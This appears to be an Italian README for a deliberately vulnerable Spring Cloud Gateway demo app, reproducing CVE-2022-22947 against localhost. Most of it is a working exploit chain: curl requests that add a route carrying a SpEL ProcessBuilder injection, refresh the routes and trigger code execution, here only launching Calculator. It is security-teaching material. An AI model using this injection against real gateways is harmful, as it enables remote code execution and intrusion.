
Un'applicazione di verifica delle vulnerabilità generata dall'IA
Questa è un'applicazione Spring Cloud Gateway progettata per dimostrare e verificare la vulnerabilità CVE-2022-22947. L'applicazione utilizza una versione vulnerabile di Spring Cloud Gateway e può eseguire codice arbitrario tramite l'endpoint Actuator.
CVE-2022-22947 è una vulnerabilità di esecuzione di codice remoto in Spring Cloud Gateway. Un utente malintenzionato può aggiungere dinamicamente route contenenti espressioni SpEL dannose tramite l'endpoint Actuator per eseguire codice arbitrario.
mvn spring-boot:run
L'applicazione verrà avviata su http://localhost:8080.
Invia una richiesta POST all'endpoint /actuator/gateway/routes/test per aggiungere una route contenente un'espressione SpEL dannosa:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Invia una richiesta POST all'endpoint /actuator/gateway/refresh per aggiornare le route:
curl -X POST http://localhost:8080/actuator/gateway/refresh
Visita la route dannosa per attivare l'esecuzione del codice:
curl http://localhost:8080/test
Dopo aver sfruttato con successo la vulnerabilità, l'applicazione Calcolatrice di macOS si avvierà.
Endpoint: POST /actuator/gateway/routes/test
Intestazioni della richiesta:
Content-Type: application/json
Corpo della richiesta:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Endpoint: POST /actuator/gateway/refresh
Endpoint: GET /test
Questa vulnerabilità consente a un utente malintenzionato di aggiungere dinamicamente route tramite l'endpoint Actuator e di utilizzare espressioni SpEL nei filtri delle route per eseguire codice arbitrario. Il nucleo della vulnerabilità risiede nella gestione impropria delle espressioni SpEL nella configurazione delle route da parte di Spring Cloud Gateway.
⚠️ Avviso di sicurezza: Questa applicazione è destinata esclusivamente a scopi educativi e di ricerca sulla sicurezza. Non utilizzare o distribuire questa applicazione in ambienti di produzione.
⚠️ Dichiarazione legale: Quando si utilizza questa applicazione per testare vulnerabilità, assicurarsi di avere l'autorizzazione appropriata. Test non autorizzati potrebbero violare leggi e regolamenti.